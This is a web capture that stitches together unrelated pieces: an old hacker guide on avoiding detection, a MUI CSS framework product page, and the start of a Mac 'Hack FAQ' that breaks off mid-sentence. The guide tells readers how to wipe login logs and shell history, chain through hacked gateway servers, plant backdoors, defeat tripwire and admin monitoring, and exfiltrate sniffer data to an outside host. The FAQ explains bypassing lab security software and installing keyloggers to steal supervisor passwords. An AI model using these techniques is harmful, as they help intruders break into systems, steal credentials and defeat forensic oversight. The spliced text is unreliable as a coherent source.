every hacker should learn, because on many occasions, especially if you
make your first hacks at a site which is security conscious because of
many break-ins, your first hack can be your last one (even if all that
lays back a year ago "they" may come up with that!), or you are too lazy
to change your habits later in your career. So read through these sections
carefully! Even a very skilled hacker can learn a bit or byte here.

So this is what you find here:

Section I - you are reading me, the introduction
Section II - the mental things and how to become paranoid

1. Motivation
2. Why you must become paranoid
3. How to become paranoid
4. Stay paranoid

Section III - the basics you should know BEFORE begin hacking

1. Preface
2. Secure Yourself
3. Your own account
4. The logs
5. Don't leave a trace
6. Things you should avoid

Section IV - the advanced techniques you should take a notice of

1. Preface
2. Prevent Tracing of any kind
3. Find and manipulate any log files
4. Check the syslog configuration and logfile
5. Check for installed security programs
6. Check the admins
7. How to "correct" checksum checking software
8. User Security Tricks
9. Miscellaneous

Section V - what to do once you are under suspect
Section VI - the does and dont's when you got caught
Section VII - a short listing of the best programs for hiding
Section VIII - last words, the common bullshit writers wanna say

Read carefully and enlighten yourself.

II. MENTAL

CONTENTS:

1. Motivation
2. Why you must become paranoid
3. How to become paranoid
4. Stay paranoid

1. MOTIVATION

The mental aspect is the key to be successful in anything.

It's the power to motivate yourself, fight on if it hurts, being self
disciplined, paranoid & realistic, calculate risks correctly and do stuff
you don't like but are important even if you'd like to go swimming now.

If you can't motivate yourself to program important tools, wait for the
crucial time to hit the target, then you'll never get anywhere with your
"hacks"

A successful and good hacker must meet these mental requirements. It's like
doing bodybuilding or a diet - you can learn it if you really try.

EVEN THE BEST KNOWLEDGE WON'T HELP YOU UNTIL YOU ARE REALLY CONCERNED TO DO
THE PREVENTIONS AND ACTUAL MAKE THEM !

2. WHY YOU MUST BECOME PARANOID

It's right that normally being paranoid is not something which makes your
life happier. However if you aren't expecting the worst, anything can hit
you and throw you off balance. And you are risking very much with your
doings. In your normal life you don't need to worry much about cops,
thieves and therelike. But if you are on the other side remember that you
make other people a hard life and bring them nightmares plus work - and
they want to stop you.

Even if you don't feel like committing a crime - you actually do. Hacker-
Witchhunting pops up fast and gets everyone who might be involved. It's the
sad thing : YOU ARE GUILTY UNTIL PROVEN OTHERWISE ! Once you've got the
stigma being a hacker you'll never get it off. Once having an entry in your
police record it's very hard to find a job. Especially no software company,
even no computer related company will ever hire you, they will be afraid
of your skills, and you will see yourself being forced to emmigrate or your
life lost. Once you fall down only a few can get up again.

Become paranoid!
Protect yourself!
Remember you have got everything to loose!
Never feel silly doing THAT extraordinary action against tracing!
Never bother if someone laughs on your paranoid doing!
Never be too lazy or tired to modify the logs!
A hacker must do his work 100% !

3. HOW TO BECOME PARANOID

If you've read the part above and you think thats true, it's easy - you've
got already become paranoid. But it must become a substantial part of your
life. If you made it becoming a good hacker always think about whom to tell
what, and that you phone calls and emails might be monitored. Always reread
the section above.

If the above didn't helped you, then think about what happens if you are
caught. Would your girlfriend stay at your side? Even if her father speaks
a hard word? Do you want to see your parents cry? Thrown from your
school/university/job?

Don't give this a chance to happen!

If even this is not enough to motivate you: KEEP AWAY FROM HACKING! You
are a danger to the whole hacking society and your friends !

4. STAY PARANOID

I hope you learned now why it is important to become paranoid. So stay
paranoid. One mistake or lazy moment could suffice to ruin your life or
career.

Always maintain motivation to do it.

III. BASICS

CONTENTS:

1. Preface
2. Secure Yourself
3. Your own account
4. The logs
5. Don't leave a trace
6. Things you should avoid

1. PREFACE

You should know this and practice it before you start your first hack.
These are the absolute basics, without them you are in trouble soon. Even
an experienced hacker can find a new hint/info in here.

2. SECURE YOURSELF

What if a SysAdmin reads your email?
What if your phone calls are recorded by the police?
What if the police seizes your computer with all your hacking data on it?

If you don't receive suspicious email, don't talk about hacking/phreaking
on the phone and haven't got sensitive/private files on your harddisk then
you don't need to worry. But then again you aren't a hacker. Every hacker
or phreaker must keep in touch with others and have got his data saved
somewhere.

Crypt every data which is sensitive! Online-Harddisk-Crypter are very
important and useful:

There are good harddisk crypters free available an the internet, which
behave fully transparent to your operating systems, i.e. the packages
listed below are tested and were found to be a hacker's first-choice:

肘f you use MsDos get SFS v1.17 or SecureDrive 1.4b 肘f you use Amiga get
EnigmaII v1.5 肘f you use Unix get CFS v1.33

File Crypters: You can use any, but it should use one of the well known and
secure algorythms. NEVER use a crypting program which can be exported
because their effective keylengths are reduced!

謬riple DES 肘DEA 稗lowfish (32 rounds)

Encrypt your emails!

姫GP v2.6.x is used most so use it too.

Encrypt your phonecalls if you want to discuss important things.

逼autilus v1.5a is so far the best

Encrypt your terminal sessions when connected to a unix system. Someone
might be sniffing, or monitoring your phone line.

百SH is the so far most secure 疋ES-Login is fine too

Use strong passwords, non-guessable passwords which are not mentioned in
any dictionary. They should seem random but good to remember for yourself.
If the keylength is allowed to be longer than 10 chars, use that, and
choose a sentence from a book, slightly modified. Please crypt phonenumbers
of hacker friends twice. And call them from payphones/officephones/etc.
only, if you don't encrypt the conversation.

The beginner only needs PGP, a filecrypter and an online-hardisk-crypter.
If you are really deep into hacking remember to encrypt everything.

Make a backup of your data (Zip-Drive, other harddisk, CD, Tape), crypted
of course, and store it somewhere which doesn't belong to any computer
related guy or family member and doesn't belong to your house. So if a
defect, fire or fed raid occures you got a backup of your data.

Keep written notices only as long as you really need them. Not longer.
Keeping them in an encrypted file or on an encrypted partition is much
more secure. Burn the papers once you don't need them anymore. You can also
write them down with a crypt algorythm which only you know of, but don't
tell others and don't use it too often or it can be easily analyzed and
broken.

Really hardcore or ultra paranoid hackers should consider too the TEMPEST
Project. Cops, spies and hackers could monitor all your doings. A well
equipted man could have anything he wants : Electronic pulse emanation can
be catched from more than 100 meters away and show your monitor screen to
somebody else, a laserpoint to your window to hear private conversations,
or identifying hifrequency signals of keyboard clicks ... so possiblities
are endless Lowcost prevention can be done by electronic pulse jammers
and therelike which become available on the public market, but I don't
think this is secure enough to keep anyone dedicated away.

3. YOUR OWN ACCOUNT

So let's talk about your own account. This is your real account you got at
your school/university/job/provider and is associated with your name. Never
forget to fail these rules:

Never do any illegal or suspicious things with your real accounts! Never
even try to telnet to a hacked host! Security mailing lists are okay to
read with this account. But everything which seems to have to do with
hacking must be either encrypted or be deleted as once. Never leave/save
hacking/security tools on your account's harddisk. If you can, use POP3 to
connect to the mailserver and get+delete your email (or do it in an other
way if you are experienced enough using unix) Never give out your real
email if your realname is in your .plan file and/or geco field (remember
the EXPN command from sendmail ...) Give it only to guys who you can trust
and are also security conscious, because if they are caught you may follow
(or if it's a fed, not a hacker) Exchange emails with other hackers only
if they are encrypted (PGP) SysAdmins OFTEN snoop user directories and read
other's email! Or another hacker might hack your site and try to get your
stuff!

Never use your account in a way which shows interest in hacking. Interest
in security is okay but nothing more.

4. THE LOGS

There are 3 important log files:

WTMP - every log on/off, with login/logout time plus tty and host
UTMP - who is online at the moment
LASTLOG - where did the logins come from

There exist others, but those will be discussed in the advanced section.
Every login via telnet, ftp, rlogin and on some systems rsh are written to
these logs. It is VERY important that you delete yourself from those
logfiles if you are hacking because otherwise they

a) can see when did you do the hacking exactly
b) from which site you came
c) how long you were online and can calculate the impact

NEVER DELETE THE LOGS! It's the easiest way to show the admin that a hacker
was on the machine. Get a good program to modify the logs. ZAP (or ZAP2) is
often mentioned as the best - but in fact it isn't. All it does is
overwriting the last login-data of the user with zeros. CERT already
released simple programs which check for those zero'ed entries. So thats
an easy way to reveil the hacker to the admin too. He'll know someone
hacked root access and then all you work was worthless. Another important
thing about zap is that it don't report if it can't find the log files - so
check the paths first before compiling! Get either a program which CHANGES
the data (like CLOAK2) or a really good one which DELETES the entries
(like CLEAR).

Normally you must be root to modify the logs (except for old distributions
which have got utmp and wtmp world-writable). But what if you didn't made
it hacking root - what can you do? Not very much : Do a rlogin to the
computer you are on, to add a new unsuspicous LASTLOG data which will be
displayed to the owner when he logs on next time. So he won't get
suspicious if he sees "localhost". Many unix distributions got a bug with
the login command. When you execute it again after you logged already on,
it overwrites the login-from field in the UTMP (which shows the host you
are coming from!) with your current tty.

Where are these log files by default located? That depends on the unix
distribution.

UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log

on some old unix dists the lastlog data is written into $HOME/.lastlog

5. DON'T LEAVE A TRACE

I encountered many hackers who deleted themselves from the logs. But they
forgot to erase other things they left on the machines : Files in /tmp and
$HOME

Shell History
It should be another as you current login account uses. Some shells leave
a history file (depends on enviroment configuration) with all the commands
typed. Thats very bad for a hacker. The best choice is to start a new shell
as your first command after logging in, and checking every time for a
history file in you $HOME. History files :

sh:.sh_historycsh:.historyksh:.sh_historybash:.bash_historyzsh:.history

Backup Files :

dead.letter, *.bak, *~

In other words: do an "ls -altr" before you leave!

Here're 4 csh commands which will delete the .history when you log out,
without any trace.

   mv .logout save.1
   echo rm .history>.logout
   echo rm .logout>>.logout
   echo mv save.1 .logout>>.logout

6. THINGS YOU SHOULD AVOID

Don't crack passwords on an other machine than your own, and then only on a
crypted partition. If you crack them on a e.g. university and the root sees
your process and examines it not only your hacking account is history but
also the site from which the password file is and the university will keep
all eyes open to watch out for you. Download/grab the passwd data and crack
them on a second computer or in a background process. You don't need many
cracked accounts, only a few.

If you run important programs like ypx, iss, satan or exploiting programs
then rename them before executing or use the small common source to exchange
the executed filename in the process list ... ever security conscious user
(and of course admin) knows what's going on if he sees 5 ypx programs
running in the background ... And of course if possible don't enter
parameters on the command line if the program supports an interactive mode,
like telnet. Type "telnet" and then "open target.host.com" ... which won't
show the target host in the process list as parameter.

If you hacked a system - don't put a suid shell somewhere! Better try to
install some backdoors like ping, quota or login and use fix to correct
the atime and mtime of the file if you don't have got another possiblity.

IV. ADVANCED

CONTENTS:

1. Preface
2. Prevent Tracing of any kind
3. Find and manipulate any log files
4. Check the syslog configuration and logfile
5. Check for installed security programs
6. Check the admins
7. How to "correct" checksum checking software
8. User Security Tricks
9. Miscellaneous

1. PREFACE

Once you installed your first sniffer and begin to hack worldwide then you
should know and use these checks & techniques! Use the tips presented here
- otherwise your activity will be over soon.

2. PREVENT TRACING OF ANY KIND

Sometimes your hacking will be noticed. Thats not a real problem - some of
your sites will be down but who cares, there are enough out there to
overtake. The very dangerous thing is when they try to trace you back to
your origin - to deal with you - bust you!

This short chapter will tell you every possiblity THEY have to trace you
and what possibilities YOU have to prevent that.

1. Normally it should be no problem for the Admin to identify the system
the hacker is coming from by either:

苗hecking the log entries; if the hacker was really lame, 付aking a look at
the sniffer output the hacker installed and he's in too, 病ny other audit
software like loginlog, 賓r even show all estrablished connections with
"netstat" if the hacker is currently online

- expect that they'll find out! Thats why you need a gateway server.

2. A gateway server in between - what is it? Thats one of many many servers
you have accounts on, which are absolutely boring systems and you have got
root access on. You need the root access to alter the wtmp and lastlog
files plus maybe some audit logs do nothing else on these machines! You
should change the gateway servers on a regular basis, say every 1-2 weeks,
and don't use them again for at least a month. With this behaviour it's
unlikely that they will trace you back to your next point of origin : the
hacking server.

3. Your Hacking Server - basis of all activity From these server you do
begin hacking. Telnet (or better : remsh/rsh) to a gateway machine and
then to the target. You need again root access to change the logs. You
should change your hacking server every 2-4 weeks.

4. Your Bastian/Dialup server. This is the critical point. Once they can
trace you back to your dialup machine you are already fried. A call to the
police, a line trace and your computer hacking activity is history - and
maybe the rest of your future too. You *don't* need root access on a
bastion host. Since you only connect to it via modem there are no logs
which must be changed. You should use a different account to log on the
system every day, and try to use those which are seldom used. Don't modify
the system in any way! You should've got at least 2 bastion host systems
you can dialup to and switch between them every 1-2 month.

   Note: If you have got the possiblity to dialup different systems
         every day (f.e. due blueboxing) then do so. you don't need
         a hacking server then.

5. Do bluebox/card your call or use an outdial or any other way. So even
when they capture back your bastion host, they can't trace you (easily) ...
For blueboxing you must be cautious, because germany and the phone companies
in the USA do have surveillance systems to detect blueboxers ... At&t traces
fake cred card users etc. Using a system in between to transfer your call
does on the one side make tracine more difficult - but also exposes you to
the rish being caught for using a pbx etc. It's up to you. Note too that in
f.e. Denmark all - ALL - calling data is saved! Even 10 years after your
call they can prove that *you* logged on the dialup system which was used
by a hacker ...

6.Miscellaneous

If you want to run satan, iss, ypx, nfs filehandle guessing etc. then use a
special server for this. don't use it to actually telnet/rlogin etc. to a
target system, only use it for scanning. Connect to it as if it were a
gateway server.

Tools are out there which binds to a specific port, and when a connection
is established to this port, it's automatically opening a connection to
another server some other just act like a shell on the system, so you do a
"telnet" from this socket daemon too. With such a program running you won't
be written in any log except firewall logs. There are numerous programs
out there which do that stuff for you.

If possible, the hacking server and/or the gateway machine should be
located in a foreign country! Because if your breakin (attempt) was
detected and your origin host identified then most admins will tend to give
up to hunt after you. Even if the feds try to trace you through different
countries it will delay them by at least 2-10 weeks ...

CONCLUSION: If you hack other stuff than univerisities then do it this way!
Here is a small picture to help you ;-)

+-------+ ~---------------> +-------------+ +-----------+
|+-----+| >hopefully > |one of at | |one of many|
|| YOU || --> >a trace-safe > --> |least 3 | --> |hacking |
|+-----+| >dial possiblity> |bastion hosts| |server |
+-------+ ~---------------> +-------------+ +-----------+
|
|
v
+-----------------+ +--------+ +-----------+
|maybe additional | | the | |one hacked |
|server from | ... <-- ... | main | <-- |server as |
|internal network | | target | |gateway |
+-----------------+ +--------+ +-----------+

3. FIND AND MANIPULATE ANY LOG FILES

It's important that you find all logfiles - even the hidden ones. To find
any kind of logfiles there are two easy possibilities:

彦ind all open files.
Since all logfiles must write somewhere, get the cute program LSOF - LiSt
Open Files - to see them ... check them ... and if necessary correct them.

百earch for all files changed after your login.
After your login do a "touch /tmp/check" then work on. Later just do a
"find / -newer /tmp/check -print" and check them if any of those are
audit files. see>check>correct. Note that not all versions of find support
the -newer option You can also do a "find / -ctime 0 -print" or
"find / -cmin 0 -print" to find them.

Check all logfiles you find. Normally they are in /usr/adm, /var/adm or
/var/log. If things are logged to @Loghost then you are in trouble. You
need to hack the loghost machine to modify the logs there too ...

To manipulate the logs you can either do things like "grep -v", or do a
linecount with wc, and then cut off the last 10 lines with
"head -LineNumbersMinus10", or use an editor etc. If the log/audit files
are not textfiles but datarecords ... identify the software which writes
the logfiles. Then get the sourcecode. Then find the matching header file
which defines the structure of the file. Get zap, clear, cloak etc. and
rewrite it with the header file to use with this special kind of logfile
(and it would be kind to publish your new program to the hacker society
to safe others much work)

If accouting is installed then you can use the acct-cleaner from zhart,
also in this release - it works and is great!

A small gimmick if you must modify wtmp but can't compile a source and no
perl etc. is installed (worked on SCO but not on linux) : Do a uuencode of
wtmp. Run vi, scroll down to the end of the file, and and delete the last
4 (!) lines beginning with "M" ... then save+exit, uudecode. Then the last
5 wtmp entries are deleted ;-)

If the system uses wtmpx and utmpx as well you are in trouble ... I don't
know any cleaner so far who can handle them. Program one and make it
available for the scene.

4. CHECK THE SYSLOG CONFIGURATION AND LOG

Most programs use the syslog function to log anything they want. It's
important to check the configuration where syslog does print special
types. The config file is /etc/syslog.conf - and I won't tell you here
what the format is and what each entry means. Read the manpages about it.
Important for you are kern., auth. and authpriv.* types. Look where
they are written too: files can be modified. If forwarded to other hosts
you must hack those too. If messages are sent to a user, tty and/or
console you can do a small trick and generate false log messages like
"echo 17:04 12-05-85 kernel sendmail[243]: can't resolve bla.bla.com > /dev/console"
or whichever device you want to flood so that the message you want to hide
simply scrolls over the screen. These log files are very important!
Check them.

5. CHECK FOR INSTALLED SECURITY PROGRAMS

On most security conscious sites, there are security checkers run by cron.
The normal directory for the crontabs are /var/spool/cron/crontabs. Check
out all entries, especially the "root" file and examine the files they run.
For just a fast investigation of the crontabs of root type "crontab -l root".

Some of those security tools are most time also installed on the admins'
accounts. Some of them (small utils to check wtmp, and if a sniffer is
installed) are in their ~/bin. Read below to identify those admins and
check their directories.

Internal checking software can be tiger, cops, spi, tripwire, l5, binaudit,
hobgoblin, s3 etc.

You must examine them what they report and if they would report something
that would be a sign of your breakin. If yes you can

埠pdate the data files of the checker (learn mode) so that it won't report
that type anymore 瓶eprogram/modify the software so that they don't report
it anymore. (I love fake cpm programs ;-) 品f possible remove the e.g.
backdoor you installed and try to do it in another way.

6. CHECK THE ADMINS

It is important for you to check the sysops for the security counter-measures
they do - so first you need to know which normal accounts are they use. You
can check the .forward file of root and the alias entry of root. Take a look
into the sulog and note those people who did a successful su to root. Grab
the group file and examine the wheel and admin group (and whatever other
group are in this file which are related to administration). Also grep'ing
the passwd file for "admin" will reveile the administrators.

Now you should know who the 1-6 administrators on the machines are. Change
into their directories (use chid.c, changeid.c or similar to become the
user if root is not allowed to read every file) and check their
.history/.sh_history/.bash_history to see what commands they type usually.
Check their .profile/.login/.bash_profile files to see what aliases are
set and if auto-security checks or logging are done. Examine their ~/bin
directory! Most times compiled security checking programs are put there!
And of course take a look into each directory they've got beside that
(ls -alR ~/). If you find any security related stuff, read 5.) for
possibilities to bypass those protections.

7. HOW TO "CORRECT" CHECKSUM CHECKING SOFTWARE

Some admins really fear hacker and install software to detect changes of
their valuable binaries. If one binary is tampered with, next time the
admin does a binary check, it's detected. So how can you

a.find out if such binary checkers are installed and b.how to modify them
so you can plant in your trojan horse?

Note that there are many binary checker out there and it's really easy to
write one - takes only 15 minutes - and can be done with a small script. So
it's hard to find such software if it's installed. Note that internal
security checking software sometimes also support such checking. Here are
some widely used ones :

SOFTWARE STANDARD PATHBINARY FILENAMES:

tripwire/usr/adm/tcheck
/usr/local/adm/tcheckdatabases
/usr/local/adm/audit

But as you can see there are too much possibilities! The software or
database could even be on an normally unmounted disk or NFS exported
partition of another host. Or the checksum database is on a write protected
medium. There are too much possibilities. But normally you can just do the
fast check if the above packages are installed and if not go on exchanging
binaries. If you don't find them but it actually is a very well secured
site then you should NOT tamper with the binaries! They sure have got them
hidden very well.

But what do you do when you find that software installed and you can modify
them (e.g. not a write protected medium, or something that can be bypasswd
- for example unmounting the disk and remounting writable)? You've got 2
possibilities :

彦irst you can just check the parameters of the software and run an
"update" on the modified binary. For example for tripwire that's
"tripwire -update /bin/target".

百econds you can modify the filelist of the binaries being checked -
removing the entry of the replaced one. Note that you should also check
if the database file itself is checked too for changes! If yes -
update/delete the entry as well.

8. USER SECURITY TRICKS

This is a rare thing and is only for sake of completeness. Some users, named
admins and hackers, usually don't want their own accounts to be used by
someone else. That's why they sometimes put some security features into
their startup files.

So check all dotfiles (.profile, .cshrc, .login, .logout etc.) what commands
they execute, what history logging and which searchpath they set. If f.e.
$HOME/bin comes before /bin in the search path you should check the contents
of this directory ... maybe there's a program called "ls" or "w" installed
which logs the execution time and after that executing the real program.

Other check automatically the wtmp and lastlog files for zap usage,
manipulation of .rhosts, .Xauthority files, active sniffers etc. Never mess
with an account a unix wizard is using!

9. MISCELLANEOUS

Finally, before some last words about being under suspect or caught, here
are some miscellaneous things which a worth to take a notice off.

Old telnet clients do export the USER variable. An administrator who knows
that and modified the telnetd can get all user names with that and so
identify the account you are hacking from, once he notices you. The new
clients have been fixed - but a clever admin has got other possiblities
to identify the user : the UID, MAIL and HOME variables are still exported
and makes identifying of the account used by the hacker easy. Before you
do a telnet, change the USER, UID, MAIL and HOME variable, maybe even the
PWD variable if you are in the home directory.

On HP-UX < v10 you can make hidden directories. I'm not talking about .
(dot) files or similar but a special flag. HP introduced it v9, but was
removed from version 10 (because it was only used by hackers ;-). If you
do a "chmod +H directory" it's invisible for the "ls -al". To see the
hidden directories you need to add the -H switch to ls, e.g. "ls -alH" to
see everything.

Whenever you are in need to change the date of a file, remember that you
can use the "touch" command to set the atime and mtime. You can set the
ctime only by raw writes to the harddisk ...

If you install sniffer and it's an important system, then make sure that
you either obfusicate the sniffer output (with an encryption algorythm
[and i'm not talking about rot13] or let the sniffer send all the captured
data via icmp or udp to an external host under your control. Why that? If
the admin finds somehow the sniffer (cpm and other software checking for
sniffers) they can't identify in the logfile what data was sniffed, so he
can't warn hosts sniffed by you.

V. UNDER SUSPECT

Once you are under suspect (by either police and/or administrator) you
should take special actions so they won't get evidence on you.

 NOTE : If the administrators think you are a hacker,
        YOU ARE GUILTY UNTIL PROVEN INNOCENT

The laws means nothing to the admins (sometimes I think the difference
between a hacker and an administrator is only that the computer belongs to
them). When they think you are a hacker you are guilty, without a lawyer to
speak for you. They'll monitor you, your mails, files, and, if they are
good enough, your keystrokes as well.

When the feds are involved, you phone line might be monitored too, and a
raid might come soon.

If you notice or fear that you are under suspect then keep absolutely low
profile! No offensive action which points to hacking should be done.

Best thing is to wait at least 1-2 month and do nothing. Warn your friends
not to send you any email, public normal only, non-offensive mail is
wonderful, put pgp encrypted emails will ring the alarm bells of monitoring
admins and feds. Cut down with everything, write some texts or program
tools for the scene and wait until things have settled. Remember to encrypt
all your sensitive data and remove all papers with account data, phone
numbers etc. Thats the most important stuff the feds are looking for when
they raid you.

VI. CAUGHT

Note that this small chapter covers only the ethics and basics and hasn't
got any references to current laws - because they are different for every
country.

Now we talking about the stuff you should/shouldn't do once the feds
visited you. There are two very important things you have to do:

1. GET A LAWYER IMMEDEATELY! The lawyer should phone the judge and appeal
against the search warrant. This doesn't help much but may hinder them in
their work. The lawyer should tell you everything you need to know what
the feds are allowed to do and what not. The lawyer should write a letter
to the district attorney and/or police to request the computers back as
fast as possible because they are urgently needed to do business etc. As
you can see it is very useful to have got a lawyer already by hand instead
of searching for one after the raid.

2. NEVER TALK TO THE COPS! The feds can't promise you anything. If they
tell you, you'll get away if you talk, don't trust them! Only the district
attorney has got the power to do this. The cops just want to get all
information possible. So if you tell them anything they'll have got more
information from and against you. You should always refuse to give
evidence - tell them that you will only talk with them via your lawyer.

Then you should make a plan with your lawyer how to get you out of this
shit and reduce the damage. But please keep in mind : don't betray your
friends. Don't tell them any secrets. Don't blow up the scene. If you do,
that's a boomerang : the guys & scene will be very angry and do revenge,
and those guys who'll be caught because of your evidence will also talk
... and give the cops more information about your crimes!

Note also that once you are caught you get blamed for everything which
happened on that site. If you (or your lawyer) can show them that they
don't have got evidences against you for all those cases they might have
trouble to keep the picture of that "evil hacker" they'll try to paint
about you at the court. If you can even prove that you couldn't do some
of the crimes they accuse you for then your chances are even better. When
the judge sees that false accuses are made he'll suspect that there could
be more false ones and will become distrusted against the bad prepared
charges against you.

I get often asked if the feds/judge can force you to give up your
passwords for PGP, encrypted files and/or harddisks. That's different
for every country. Check out if they could force you to open your
locked safe. If that's the case you should hide the fact that you are
crypting your data! Talk with your lawyer if it's better for you to stand
against the direction to give out the password - maybe they'd get
evidences which could you get into jail for many years.

(For german guys : THC-MAG #4 will have got an article about the german
law, as far as it concerns hacking and phreaking - that article will be
of course checked by a lawyer to be correct. Note that #4 will only
discuss germany and hence will be in the german language. But non-germans,
keep ya head up, this will be the first and last german only magazine
release ;-)

VII. PROGRAMS

Here is a small list of programs you should get and use (the best!).
DON'T email me where to get them from - ask around in the scene! I only
present here the best log modifiers (see III-4 and IV-3). Other programs
which are for interest are telnet redirectors (see IV-2) but there are so
many, and most compile only on 1-3 unix types so there's no use to make a
list.

First a small glossary of terms: Change - changes fields of the logfile to
anything you want. Delete - deletes, cuts out the entries you want. Edit -
real editor for the logfile. Overwrite - just overwrites the entries with
zero-value bytes. (Don't use overwriters (zap) - they can be detected!)

LOG MODIFIERS:

ah-1_0b.tar Changes the entries of accounting
informationclear.c Deletes entries in utmp, wtmp, lastlog and wtmp
xcloak2.c Changes the entries in utmp, wtmp and lastlog
invisible.c Overwrites utmp, wtmp and lastlog with predefines
values, so it's better than zap.

Watch out, there are numerous inv*.c !marryv11.c
Edit utmp, wtmp, lastlog and accounting data - best!

wzap.c Deletes entries in wtmp
wtmped.c Deletes entries in wtmp
zap.c Overwrites utmp, wtmp, lastlog - Don't use! Can be detected!

VIII. LAST WORDS

Last fucking words: Don't get caught, remember these tips and keep your ears
dry. If someone would like to correct some points, or would like to add a
comment, or needs more information on a topic or even thinks something's
missing - then drop me a note.

set Restriction

Add Tags ?

AddDeleteNo

close

close

MUI - Material Design CSS Framework

MUI - Material Design CSS Framework

| MUI |

|

MUI

MUI

MUI is a lightweight CSS framework that follows Google's Material Design guidelines

DOWNLOAD v0.9.43 View on GitHub

New - MUI React is ready for React 16

Quickstart

You can copy-paste this boilerplate HTML to get started using MUI:

<!doctype html>

<script src="//cdn.muicss.com/mui-0.9.43/js/mui.min.js"></script>

My Title

My Button

Learn more

Package Layout

The MUI package includes all the necessary code to use MUI components on the web and over email. In addition, we're working on React and WebComponents libraries to give developers more flexibility on the web.

mui-0.9.43/
├── angular
│   ├── mui-angular.js
│   └── mui-angular.min.js
├── css
│   ├── mui.css
│   ├── mui.min.css
│   ├── mui-rtl.css
│   └── mui-rtl.min.css
├── email
│   ├── mui-email-inline.css
│   ├── mui-email-inline-rtl.css
│   ├── mui-email-styletag.css
│   └── mui-email-styletag-rtl.css
├── extra
│   ├── mui-angular-combined.js
│   ├── mui-angular-combined.min.js
│   ├── mui-colors.css
│   ├── mui-colors.min.css
│   ├── mui-combined.js
│   ├── mui-combined.min.js
│   ├── mui-noglobals.css
│   ├── mui-noglobals.min.css
│   ├── mui-noglobals-rtl.css
│   ├── mui-noglobals-rtl.min.css
│   ├── mui-react-combined.js
│   ├── mui-react-combined.min.js
│   ├── mui-rem.css
│   ├── mui-rem.min.css
│   ├── mui-rem-rtl.css
│   └── mui-rem-rtl.min.css
├── js
│   ├── mui.js
│   └── mui.min.js
├── react
│   ├── mui-react.js
│   └── mui-react.min.js
└── webcomponents
├── mui-webcomponents.js
└── mui-webcomponents.min.js

Features

Small Footprint

MUI has a small download size to help pages load as quickly as possible:

  • mui.min.css - 6.6KB (gzipped)
  • mui.min.js - 5.4KB (gzipped)

Customizable

The MUI CSS can be easily customized by using the SASS files available on GitHub and via Bower. Customize breakpoints, font-settings and use Material Design colors.

No Dependencies

MUI CSS/JS has no external dependencies

Cross-Platform

The MUI project is committed to building a set of components that work across platforms from web to mobile to email to iOS to Android.

HTML Email

To help with HTML emails, MUI includes an email CSS library that can be used with an inliner.

Acknowledgements

MUI is heavily influenced by Bootstrap, Polymer, and Ink as well as some of the popular Material Design frameworks (Materialize, Material-Bootstrap, Material UI). To encourage developers to hack on MUI, the source code for MUI is open-source under an MIT license.

Help Wanted

MUI is a work in progress and we're looking for engineers and designers to help make MUI better, faster, smaller and more developer friendly. In particular we're looking for help with the following:

  • UI/UX
  • ReactJS
  • WebComponents
  • iOS
  • Android

If you want to get involved send us an email ([email protected]) or issue a pull-request on Github!

© 2017 MUI. Made in NYC.

Add Tags ?

AddDeleteNo

close

close

set Restriction

web.textfiles.com/hacking/macfaq.txt

            \-\-\-=====\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+\+=====\-\-\-
  	   \-\-===\+    Mac Hack FAQ:   +===--
  	      \-=\+ Defeating Security +=-
		++++++++++++++++++++++

xxxxxxxxxxxxxxxxx-==< THE MACINTOSH HACK FAQ INDEX >==-xxxxxxxxxxxxxxxxx

A. Notes
B. What are the general techniques for bypassing mac security measures?
C. What do I do after I get to the finder?
D. How do I bypass HD driver protection?
E. Miscellaneous hacks and info
F. Related anonymous ftp sites

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

A. NOTE

COMMON SENSE DISCLAIMER:
I can not held responsible for any damage that might occur from
experimenting with the techniques herein. Some may be completely wrong,
others may only work on certain macs and particular versions of
software. If you screw something up, it's your ass. Run like hell and/or
play computer illiterate. I do not support breaking laws of any
race, creed or short-sightedness...

B. WHAT ARE THE GENERAL TECHNIQUES FOR BYPASSING MAC SECURITY MEASURES?

*** Disable System Extensions by holding down the Shift-key during
start-up. This is one of the easiest techniques but you would be
surprised how often it works! On Classics, try booting up off the
ROM disk by holding down Command-Option-x-o during boot-up.
*** Find the Finder. On some "secured" systems, you can gain access to
locked folders if you now the name of an unlocked file within. For
example, here is a FoolProof hack:
1) Search for the word 'finder'(a file we know is in the locked system
folder).
2) The locked file opens to display the Finder file. From
here, you can now move the FoolProof Preferences and
Extensions out of the system folder.
3) Reboot.
*** Break into the debugger by hitting the programmer's switch or the
Command-Power key combo. Then type 'G FINDER', or 'G F'. You can
also get to the debugger by holding down the control-command-power
key combo and restarting.
*** Crash the system! In some older security programs, you can get to the
finder by repeatedly opening applications until all the RAM is consumed.
Older versions of At Ease will open a dialogue box that asks if you
would like to quit At Ease to free up RAM. Click yes!
*** Boot from a floppy. Even if your sysadmin has floppy startup
disabled, you should be able to force it by holding down the
command-option-shift-delete key combo to boot the floppy. This key
combo won't let the internal hard drive mount
*** Plug an external hard drive into the SCSI port. Even if your
sysadmin has disabled floppy access and starting up without extensions you
can copy any programs on the drive if you know any of the passwords.
*** Social engineering is almost too obvious (and cliche) to mention,
but it seems to work. Remember to act computer stupid and/or get
really pissy.

C. WHAT DO I DO AFTER I GET TO THE FINDER?

So you have finally found the finder...now what? Now you can

run any programs you want, but why not make things easier on yourself
for your next trip to the finder. If you know that your sysadmin keeps
logs:
1) Copy the system folder to the hard drive.
2) Rename the original system folder.
3) Reboot without At Ease.
4) When you are done, put the real system folder back and
delete the second one.

If you aren't concerned about logs, just move the At Ease Preferences
out of the System Folder:Extensions folder and reboot. Remember to put
them back when you are done. The logs have been bypassed but you really
don't care to be rebooting over and over while the lab monitor glares
at you. It would be much better to have the system supervisor's
password so you can switch back and forth between At Ease and the
finder at will. The easiest way is to install a keygrabber, which is a
system extension that logs and captures all the keystrokes on the
computer. Oasis is a good keygrabber for the mac that can be found on
the internet or alt.2600. Unfortunately it has no documentation. To
use it:
1) Get into the Finder and copy Oasis into the folder:
System Folder:Extensions
2) Wait a few days.
3) Look for the logfiles in:
System Folder:Preferences:~Temporary Folder.

Another keygrabber that is easier to find is MacLifeInsurance. You will have
to weed through several hundred pages of inane poetry, reports and e-mail
to Grandma but eventually one will have the password. If there are large
